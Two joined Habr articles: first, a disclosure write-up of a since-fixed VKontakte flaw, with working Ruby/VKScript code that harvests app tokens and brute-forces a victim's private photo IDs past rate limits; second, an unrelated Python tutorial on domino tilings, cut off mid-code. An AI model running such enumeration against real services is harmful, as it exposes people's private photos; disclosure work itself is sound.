Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео — это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API *fave.getLinks* можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута *data-src\_big* хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида *photoXXXXXX\_XXXXXXX*, которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Как работают фотографии в ВК
----------------------------
Как вы могли заменить, ссылка на фотографию *photo52708106\_359542386* состоит из двух частей: *(id пользователя)\_(какое-то непонятное число)*. Как же формируется вторая часть?
Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, **ежедневно** пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым **годом**:
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от \_320000000 до \_350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Перебираем фотографии
---------------------
Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять [нельзя](https://vk.com/dev/api_requests).
### Ускоряем перебор x25
Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом [execute](https://vk.com/dev/execute). В одном вызове этого метода возможно 25 обращений к методам API.
```
var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
```
Тем самым удалось повысить скорость брутфорса до 3\*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
### Ускоряем перебор x25 \* количество параллельных запросов в секунду
Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
```
class StandaloneAppsFinder
attr_reader :app_ids
def initialize(params)
@range = params[:in_range]
@app_ids = []
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)['response']
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data['type'] == 'standalone'
end
end
```
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
> Если приложение установило меньше 10 000 человек, то можно совершать 5 запросов в секунду, до 100 000 – 8 запросов, до 1 000 000 – 20 запросов, больше 1 млн. – 35 запросов в секунду.
>
> [[Ограничения и рекомендации]](https://vk.com/dev/api_requests)
>
>
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки *p,l* (login.vk.com) и *remixsid* (vk.com):
```
class Authenticator
attr_reader :access_tokens
def initialize(cookie_header)
@cookies = { 'Cookie' => cookie_header }
@access_tokens = []
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css('form').attr('action').value
end
def extract_token_from(url)
URI(url).fragment[13..97]
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
```
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем [Typhoeus](https://github.com/typhoeus/typhoeus), который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
```
class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
'today' => 366300000..366500000,
'yesterday' => 366050000..366300000,
'current_month' => 365000000..366500000,
'last_month' => 360000000..365000000,
'current_year' => 350000000..366500000,
'last_year' => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD[params[:period]]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
```
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на *HEAD* запрос сервер «Вконтакте» возвращает ошибку *501 Not implemented*.
Окончательная версия скрипта выглядит так:
```
require 'nokogiri'
require 'open-uri'
require 'typhoeus'
require 'json'
require './standalone_apps_finder'
require './photos_bruteforcer'
require './authenticator'
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1])
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new(
'p=;' +
'l=;' +
'remixsid=;'
)
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
```
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
Итоги
-----
В целом, всё зависит от вашего интернет соединения ~~и скорости прокси серверов~~, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):
| Период | Время (минуты) |
| --- | --- |
| Вчера | 0.84 |
| Прошлая неделя | 6.9 |
| Прошлый месяц | 18.3 |
| Прошлый год | 121.1 |
| 3 последних года | 312.5 |
В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.
Сообщаем об уязвимости
----------------------
Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо [Bo0oM](https://habrahabr.ru/users/bo0om/), который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к [голосов](https://vk.com/dev/partnership).
Целенаправленно исследованием ВК я никогда не занимался, но после такого, почти случайного обнаружения этой уязвимости серьезно начал задумываться о том, чтобы потратить несколько часиков на полноценный аудит этой социальной сети. У «ВКонтакте» нет официальной баг баунти программы, поэтому whitehat ресерчеры обходят этот сайт стороной, а другие, менее «белые» хакеры, просто тихо пользуются ошибками в своих целях, либо продают их. Так что, думаю, ещё парочку подобных уязвимостей в ВК можно найти.
Всем добра! | https://habr.com/ru/post/257951/ | null | ru | null |
# Замощение доминошками
Одна из первых действительно интересных задач по математике, с которыми я столкнулся формулируется так: "из шахматной доски вырезали две противоположные по диагонали угловые клетки, можно ли оставшуюся часть разрезать на "доминошки" — фигурки из двух клеток, у которых одна сторона общая?". У нее очень простая формулировка, в отличие от великой теоремы Ферма она имет простое, элегантное, но неочевидное решение (если вы знаете решение задачи, то попробуйте применить его к фигуре справа).
 
В этой статья я расскажу о нескольких алгоритмах, которые умеют покрывать доминошками произвольную клетчатую фигуру на плоскости, если это возможно, находить ситуации, когда это невозможно и считать количество возможных замощений доминошками.
**Nota bene!** Материал этой статьи — это усеченный вариант вот [этого jupyter-notebook](https://github.com/Malkovsky/python-examples/blob/master/domino_tiling.ipynb), все картинки и анимации, которые вы увидите в статье, сгенерированы кодом из этого ноутбука (правда анимаций не будет в github предпросмотре). К слову, картинки из заголовка также сгенерированы с помощью python/matplotlib
**Вспомогательный код для отрисовки, он еще пригодится**
```
import matplotlib.pyplot as plt
from matplotlib import colors as mcolors
colors = dict(mcolors.BASE_COLORS, **mcolors.CSS4_COLORS)
# Sort colors by hue, saturation, value and name.
by_hsv = sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgba(color)[:3])), name)
for name, color in colors.items())
names = [name for hsv, name in by_hsv if name not in {'black', 'k', 'w', 'white', 'crimson', 'royalblue', 'limegreen', 'yellow', 'orange'}]
import random
random.shuffle(names)
names = ['crimson', 'royalblue', 'limegreen', 'yellow', 'orange', *names]
names.append('red')
names.append('white')
names.append('black')
```
```
def fill_cell(i, j, color, ax):
ax.fill([i, i, i + 1, i + 1, i], [j, j + 1, j + 1, j, j], color=color)
def draw_filling(filling):
if filling is not None:
n = len(filling)
m = len(filling[0])
fig = plt.figure(figsize=(m * 0.75, n * 0.75))
ax = fig.add_axes([0, 0, 1, 1])
ax.get_xaxis().set_visible(False)
ax.get_yaxis().set_visible(False)
for name, spine in ax.spines.items():
spine.set_visible(False)
spine.set_visible(False)
for i, row in enumerate(filling):
i = n - i - 1
for j, cell in enumerate(row):
fill_cell(j, i, names[cell], ax)
for i in range(n + 1):
ax.plot([0, m], [i, i], color='black')
for i in range(m + 1):
ax.plot([i, i], [0, n], color='black')
plt.close(fig)
return fig
else:
return None
```
**Прежде, чем перейти дальше, решение исходной задачи**
Сделать это невозможно, и этому есть красивое и простое объяснение:
* На оставшейся части доски 30 черных и 32 белых клетки
* Каждая доминошка состоит из одной черной и одной белой клетки
* Как бы мы не разрезали фигуру на доминошки, в итоге на доминошках будет равное число белых и черных клеток
Динамическое программирование по профилю
----------------------------------------
Про динамического программирования есть [статья на хабре](https://habr.com/ru/post/191498/), которая даже содержит пример с покрытием доминошками, я немного расширю этот пример.
Основная суть динамического программирования заключается в том, чтобы придумать для исходной задачи какие-то промежуточные подзадачи так, чтобы их можно было легко друг через друга выразить. Например, если мы хотим вычислить двухсотое число Фибоначчи, то для этого можно последовательно вычислить все числа Фибоначчи вплоть до нужного нам применяя соотношение
Аналогично можно вычислить число "сочетаний" , воспользовавшись одним из следующих рекуррентных соотношений
Для задачи "можно ли замостить доминошками прямоугольник ?" к сожалению подобных простых соотношений не существует. Тем не менее, если мы рассмотрим более широкий класс фигурок, то такие соотношения уже станут возможными, главное чтобы это не были слишком маленькие классы и динамическое программирование не превратилось в банальный перебор.
Посмотрим на следующий класс фигурок: у нас есть прямоугольник , на строке  присутствуют первые  клеток, остальные задаются **профилем**, на строке  первые  клеток задаются профилем, остальные не участвуют. Профиль — это последовательность нулей и единичек длины : если на -ой позиции профиля единичка, это значит что в этой фигуре есть соответствующая клетка, всего профилей  (красные клетки — единички, синие — нули).
Профиль однозначно задается числом  (его бинарное представление вплоть до  разрядов является последовательностей нулей и единичек).
Прямоугольник  соответствует фигуре с ,  и нулевым профилем. На фигурках такого типа мы можем считать две основные функции
* Максимальное возможное число покрытых доминошками клеток в этой фигуре
* Количество способов полностью покрыть доминошками эту фигуру
Давайте обозначим за  количество способов замостить такую фигурку, тогда  и при этом  выражается через сумму нескольких , по большому счету переход от  к  — это перебор трех случаев: поставить вертикальную доминошку, если это возможно
горизонтальную доминошку, если это возможно
и пропустить занятую клетку. В случае, если мы пытаемся понять, какое максимальное число клеток фигурки возможно замостить, то сумма заменяется на максимум и добавляется один несложный переход — пропуск свободной клетки. Важным моментом также является то, что мы можем заранее вырезать несколько клеток, принципиально от этого ничего не поменяется.
Давайте теперь попробуем реализовать это (кода будет много, так что большинство я вынесу в спойлер). Зададим интересующий нас прямоугольник как множество строк из точек и решеток (точка — свободная клетка, решетка — занятая), пока все клетки будут свободными, потом потихоньку будем какие-нибудь вырезать
```
tiling = [
'........',
'........',
'........',
'........',
'........',
'........',
'........',
'........',
]
```
Начнем с
**количества способов замощений доминошками**
```
def count_tilings(tiling):
n = len(tiling)
m = len(tiling[0])
if ((n + 1) * m * 2 ** m) <= 10000000:
dp = [[[(0 if k != 0 or j != 0 or mask != 0 else 1) for mask in range(2 ** m)] for j in range(m)] for k in range(n + 1)]
for k in range(n):
for j in range(m):
for mask in range(2 ** m):
# Вертикальная доминошка
if k < n - 1 and tiling[k][j] == '.' and tiling[k + 1][j] == '.' and (mask & (1 << j)) == 0:
dp[k + ((j + 1) // m)][(j + 1) % m][mask + (1 << j)] += dp[k][j][mask]
# Горизонтальная доминошка
if j < m - 1 and tiling[k][j] == '.' and tiling[k][j + 1] == '.' and (mask & (3 << j)) == 0:
dp[k + ((j + 1) // m)][(j + 1) % m][mask + (2 << j)] += dp[k][j][mask]
# Клетка занята
if ((1 << j) & mask) != 0 or tiling[k][j] != '.':
dp[k + ((j + 1) // m)][(j + 1) % m][(mask | (1 << j)) - (1 << j)] += dp[k][j][mask]
return dp
```
```
dp = count_tilings(tiling)
print(dp[8][0][0])
```
получаем
```
12988816
```
Сверяемся с [википедией](https://en.wikipedia.org/wiki/Domino_tiling#Counting_tilings_of_regions), пока все в порядке. Давайте еще на всякий случай проверим, количество способов замостить полоску  — должно получиться число Фибоначчи.
```
tiling_fib = [
'..',
'..',
'..',
'..',
'..',
'..',
'..',
'..'
]
dp = count_tilings(tiling_fib)
for i in range(8):
print(dp[i][0][0], end=' ')
```
```
1 1 2 3 5 8 13 21
```
Что ж, поехали дальше, проверим на доске с вырезанными углами
```
tiling_no_corners_opposite = [
'.......#',
'........',
'........',
'........',
'........',
'........',
'........',
'#.......',
]
dp = count_tilings(tiling_no_corners_opposite)
print(dp[8][0][0])
```
```
0
```
Супер. Допустим вычислять количество мы научились, может найдем хотя бы одно конкретное замощение для наглядности?
**код для получения покрытия**
```
def cover_if_possible(tiling, dp=None):
if dp is None:
dp = count_tilings(tiling)
n = len(dp) - 1
m = len(dp[0])
if dp[n][0][0] == 0:
return None
result = [[-1 if tiling[i][j] == '#' else 0 for j in range(m)] for i in range(n)]
num = 0
k = n
j = 0
mask = 0
while k > 0 or j > 0:
#print(k, j, mask)
prev_j = j - 1
prev_k = k
if prev_j == -1:
prev_j += m
prev_k -= 1
# Начинаем перебирать варианты, каким образом мы могли попасть в i, j, mask
# Этот вариант очень не оптимален, но занимает меньше кода и все равно быстрее
# самого подсчета динамики
for prev_mask in range(2 ** m):
if prev_k < n - 1 and tiling[prev_k][prev_j] == '.' and tiling[prev_k + 1][prev_j] == '.' and \
(prev_mask & (1 << prev_j)) == 0 and (prev_mask + (1 << prev_j)) == mask and dp[prev_k][prev_j][prev_mask] != 0:
mask = prev_mask
result[prev_k][prev_j] = num
result[prev_k + 1][prev_j] = num
#print(f'Vertical at ({prev_k}, {prev_j}) ({prev_k + 1}, {prev_j})')
num += 1
break
elif prev_j < m - 1 and tiling[prev_k][prev_j] == '.' and tiling[prev_k][prev_j + 1] == '.' and (prev_mask & (3 << prev_j)) == 0 and \
prev_mask + (2 << prev_j) == mask and dp[prev_k][prev_j][prev_mask] != 0:
mask = prev_mask
result[prev_k][prev_j] = num
result[prev_k][prev_j + 1] = num
#print(f'Horisontal at ({prev_k}, {prev_j}) ({prev_k}, {prev_j + 1})')
num += 1
break
elif (((1 << prev_j) & prev_mask) != 0 or tiling[prev_k][prev_j] != '.') and \
(prev_mask | (1 << prev_j)) - (1 << prev_j) == mask and dp[prev_k][prev_j][prev_mask] != 0:
mask = prev_mask
break
j = prev_j
k = prev_k
return result
```
```
filling = cover_if_possible(tiling)
draw_filling(filling)
```
Слишком просто, давайте вырежем несколько клеток
```
tiling_random = [
'........',
'#.#.....',
'..#.....',
'........',
'........',
'........',
'........',
'...#....'
]
filling_random = cover_if_possible(tiling_random)
draw_filling(filling_random)
```
Попробуем теперь сделать тоже самое для замощения максимальной возможной части фигуры
**Код для максимального замощения**
```
def maxmimum_cover(tiling):
n = len(tiling)
m = len(tiling[0])
if ((n + 1) * m * 2 ** m) <= 10000000:
dp = [[[(n * m if k != 0 or j != 0 or mask != 0 else 0) for mask in range(2 ** m)] for j in range(m)] for k in range(n + 1)]
for k in range(n):
for j in range(m):
for mask in range(2 ** m):
next_k, next_j = k + ((j + 1) // m), (j + 1) % m
# Вертикальная доминошка
if k < n - 1 and tiling[k][j] == '.' and tiling[k + 1][j] == '.' and (mask & (1 << j)) == 0:
dp[next_k][next_j][mask + (1 << j)] = min(dp[next_k][next_j][mask + (1 << j)], dp[k][j][mask])
# Горизонтальная доминошка
if j < m - 1 and tiling[k][j] == '.' and tiling[k][j + 1] == '.' and (mask & (3 << j)) == 0:
dp[next_k][next_j][mask + (2 << j)] = min(dp[next_k][next_j][mask + (2 << j)], dp[k][j][mask])
# Клетка занята
if ((1 << j) & mask) != 0 or tiling[k][j] != '.':
dp[next_k][next_j][(mask | (1 << j)) - (1 << j)] = \
min(dp[next_k][next_j][(mask | (1 << j)) - (1 << j)], dp[k][j][mask])
# Клетка не занята, рассмотриваем случай её пропуска
else:
dp[next_k][next_j][(mask | (1 << j)) - (1 << j)] = \
min(dp[next_k][next_j][(mask | (1 << j)) - (1 << j)], dp[k][j][mask] + 1)
return dp
def cover_maximum_possible(tiling, dp=None):
if dp is None:
dp = maxmimum_cover(tiling)
n = len(dp) - 1
m = len(dp[0])
result = [[-1 if tiling[i][j] == '#' else -2 for j in range(m)] for i in range(n)]
num = 0
k = n
j = 0
mask = 0
while k > 0 or j > 0:
#print(k, j, mask)
prev_j = j - 1
prev_k = k
if prev_j == -1:
prev_j += m
prev_k -= 1
# Начинаем перебирать варианты, каким образом мы могли попасть в i, j, mask
# Этот вариант очень не оптимален, но занимает меньше кода и все равно быстрее
# самого подсчета динамики
for prev_mask in range(2 ** m):
# Раньше мы здесь проверяли, что количество вариантов в этой ветке не 0, сейчас нужно
# проверить, что эта ветка ведет к максимальному покрытию
if prev_k < n - 1 and tiling[prev_k][prev_j] == '.' and tiling[prev_k + 1][prev_j] == '.' and \
(prev_mask & (1 << prev_j)) == 0 and (prev_mask + (1 << prev_j)) == mask and \
dp[prev_k][prev_j][prev_mask] == dp[k][j][mask]:
mask = prev_mask
result[prev_k][prev_j] = num
result[prev_k + 1][prev_j] = num
num += 1
break
elif prev_j < m - 1 and tiling[prev_k][prev_j] == '.' and tiling[prev_k][prev_j + 1] == '.' and (prev_mask & (3 << prev_j)) == 0 and \
prev_mask + (2 << prev_j) == mask and dp[prev_k][prev_j][prev_mask] == dp[k][j][mask]:
mask = prev_mask
result[prev_k][prev_j] = num
result[prev_k][prev_j + 1] = num
num += 1
break
elif (((1 << prev_j) & prev_mask) != 0 or tiling[prev_k][prev_j] != '.') and \
(prev_mask | (1 << prev_j)) - (1 << prev_j) == mask and dp[prev_k][prev_j][prev_mask] == dp[k][j][mask]:
mask = prev_mask
break
elif ((1 << prev_j) & prev_mask) == 0 and tiling[prev_k][prev_j] == '.' and \
(prev_mask | (1 << prev_j)) - (1 << prev_j) == mask and dp[prev_k][prev_j][prev_mask] + 1 == dp[k][j][mask]:
mask = prev_mask
break
j = prev_j
k = prev_k
return result
```
И попробуем фигурку из заголовка
```
tiling_custom=[
'...####',
'....###',
'......#',
'#.#....',
'#......',
'##.....',
'###...#',
]
filling = cover_maximum_possible(tiling_custom)
draw_filling(filling)
```
Опа! Не получилось, в общем так и должно было быть. Прежде, чем пойти дальше пару слов о сложности алгоритмов. Всего фигурок , все переходы константные, отсюда асимптотика , которая может быть улучшена до  если добавить транспонирование в случае, если . Построение конкретного замощения в приведенных реализациях имеет сложность , но можно сделать так, чтобы было просто , но это банально больше кода.
Замощение с помощью решения задачи о максимальном паросочетании
---------------------------------------------------------------
Возвращаясь к черно-белой раскраске как на шахматной доске можно заметить интересную интерпретацию задачи замощения доминошками. Давайте посмотрим на граф, в котором клетки фигуры — это вершины, ребрами соединены клетки, имеющие общую сторону. Так вот, доминошка в этом графе — это как раз ребро. Если раскрасить граф в шахматном порядке, то внезапно можно обнаружить, что этот граф — двудольный, черные — одна доля, белые — другая. Если переформулировать задачу замощения наибольшего числа клеток в терминах этого графа, то получается, что нужно найти максимальное по размеру множество ребер такое, чтобы вершины являлись концом не более одного ребра. В общем то, это довольно известная [задача о максимальном паросочетании](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%80%D0%BE%D1%81%D0%BE%D1%87%D0%B5%D1%82%D0%B0%D0%BD%D0%B8%D0%B5). Давайте попробуем её применить для решения этой задачи, тут получится даже с анимацией, приведу базовый алгоритм Куна для нахождения максимального паросочетания.
**Реализация алгоритма Куна для паросочетаний на графе доминошек**
```
def check_valid(i, j, n, m, tiling):
return 0 <= i and i < n and 0 <= j and j < m and tiling[i][j] != '#'
def find_augmenting_path(x, y, n, m, visited, matched, tiling):
if not check_valid(x, y, n, m, tiling):
return False
if (x, y) in visited:
return False
visited.add((x, y))
for dx, dy in [(-1, 0), (1, 0), (0, -1), (0, 1)]:
if not check_valid(x + dx, y + dy, n, m, tiling):
continue
if (x + dx, y + dy) not in matched or find_augmenting_path(*matched[(x + dx , y + dy)], n, m, visited, matched, tiling):
matched[(x + dx, y + dy)] = (x, y)
return True
return False
def convert_match(matched, tiling, n, m):
result = [[-1 if tiling[i][j] == '#' else -2 for j in range(m)] for i in range(n)]
num = 0
for x, y in matched:
_x, _y = matched[(x, y)]
result[x][y] = num
result[_x][_y] = num
num += 1
return result
def match_with_flow(tiling):
result_slices = []
n = len(tiling)
m = len(tiling[0])
matched = dict()
# Для наглядности визуализации
rows = list(range(n))
columns = list(range(m))
random.shuffle(rows)
random.shuffle(columns)
result_slices.append(convert_match(matched, tiling, n, m))
for i in rows:
for j in columns:
if (i + j) % 2 == 1:
continue
visited = set()
if find_augmenting_path(i, j, n, m, visited, matched, tiling):
result_slices.append(convert_match(matched, tiling, n, m))
return result_slices
```
Здесь даже получается проанимировать процесс
```
sequencial_match = match_with_flow(tiling_custom)
```
Суть алгоритма Куна (да и любого другого алгоритм для нахождения максимального паросочетания) заключается в нахождении "аугментирующих путей". В терминах доминошек это цепочка из доминошек, у которой рядом с доминошками на концах есть по свободной клетке, такие цепочки можно заменить на цепочки большей длины, охватывающие те же клетки и заполняя две свободные клетки рядом с концами цепочки. Более того, основное утверждение, на котором работают все алгоритмы нахождения максимального паросочетания, заключается в том, что если такой цепочки не удается найти, то значит большего замощения нам не получить.
**UPD.** Для последнего примера простое обоснование на основе черно-белой раскраски не работает. Насколько мне известно, есть два общих критерия для существования полного замощения:
* [Теорема Холла (теорема о свадьбах)](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%BE_%D1%81%D0%B2%D0%B0%D0%B4%D1%8C%D0%B1%D0%B0%D1%85)
Проверка условий этой теоремы вычислительно сложнее, чем построить максимальное паросочетание.
* [Условие высоты Тёрстона](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B7%D0%B0%D0%B8%D0%BA%D0%B0_%D0%B4%D0%BE%D0%BC%D0%B8%D0%BD%D0%BE#%D0%A3%D1%81%D0%BB%D0%BE%D0%B2%D0%B8%D0%B5_%D0%B2%D1%8B%D1%81%D0%BE%D1%82%D1%8B_%D0%A2%D1%91%D1%80%D1%81%D1%82%D0%BE%D0%BD%D0%B0) про это я мало что знаю
Недавно меня навели на [очень интересную статью](http://kvant.mccme.ru/pdf/2011/02/tabachnikov.pdf) про замощения, там в том числе описывается про использовании групп для доказательства невозможности различных замощений.
Бонус! Раскраска планарного графа в 5 цветов.
---------------------------------------------
Для визуализации замощения я использовал отдельный цвет для каждой доминошки. К сожалению некоторые цвета не очень хорошо смотрятся, а некоторые плохо контрастируют друг с другом. В этом случае подобрать цвета для хорошего контраста не так уж просто, особенно если доминошек много. Зато можно использовать меньше цветов: доминошки, которые не находятся рядом друг с другом можно раскрасить в одинаковый цвет, тогда визуально все еще будет понятно, как именно выглядит покрытие. В общем то это классическая задача о раскраске вершин планарного графа. Любой планарный граф можно [покрасить в 4 цвета](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%BE_%D1%87%D0%B5%D1%82%D1%8B%D1%80%D1%91%D1%85_%D0%BA%D1%80%D0%B0%D1%81%D0%BA%D0%B0%D1%85), правда хорошего алгоритма для такой покраски нет. Зато есть довольно простой алгоритм для покраски в 5 цветов, когда правда все еще много, и я его мало тестировал (если необходим 5ый цвет, то возможны баги)
**Покраска доминошек в 5 цветов**
```
def color_5(filling):
result = [[i for i in row] for row in filling]
# Строим граф
domino_tiles = [[] for i in range(max(map(max, filling)) + 1)]
domino_neighbours = [set() for i in range(max(map(max, filling)) + 1)]
degree = [0 for i in range(max(map(max, filling)) + 1)]
n = len(filling)
m = len(filling[0])
for i, row in enumerate(filling):
for j, num in enumerate(row):
if num >= 0:
domino_tiles[num].append((i, j))
for i, tiles in enumerate(domino_tiles):
for x, y in tiles:
for dx, dy in [(-1, 0), (1, 0), (0, -1), (0, 1), (-1, -1), (-1, 1), (1, -1), (1, 1)]:
a, b = x + dx, y + dy
if 0 <= a and a < n and 0 <= b and b < m and filling[a][b] >= 0 and filling[a][b] != i \
and filling[a][b] not in domino_neighbours[i]:
domino_neighbours[i].add(filling[a][b])
degree[i] += 1
# Первым делом нужно найти такой порядок вершин, все вершины имели не больше 5 соседей среди
# предыдущих. Такой существует в силу того, что граф планарный, а найти его эффективнее всего
# по очереди находя вершину наименьшей степени и удаляя её из графа, так мы получаем обратный порядок
active_degrees = [set() for i in range(max(degree) + 1)]
for i, deg in enumerate(degree):
active_degrees[deg].add(i)
reversed_order = []
for step in range(len(domino_tiles)):
min_degree = min([i for i, dominoes in enumerate(active_degrees) if len(dominoes) > 0])
domino = active_degrees[min_degree].pop()
reversed_order.append(domino)
for other in domino_neighbours[domino]:
if other in active_degrees[degree[other]]:
active_degrees[degree[other]].remove(other)
degree[other] -= 1
active_degrees[degree[other]].add(other)
# Теперь перебираем в обратном порядке и либо красим в еще не занятый цвет,
# если есть свободный из 5 цветов, иначе находим цепочку из чередующихся цветов,
# которые могут быть перекрашены. Такая найдется в силу планарности
colors = [-1 for domino in domino_tiles]
slices = [draw_filling(result)]
for domino in reversed(reversed_order):
used_colors = [colors[other] for other in domino_neighbours[domino] if colors[other] != -1]
domino_color = len(used_colors)
for i, color in enumerate(sorted(set(used_colors))):
if i != color:
domino_color = i
break
if domino_color < 5:
colors[domino] = domino_color
for x, y in domino_tiles[domino]:
result[x][y] = domino_color
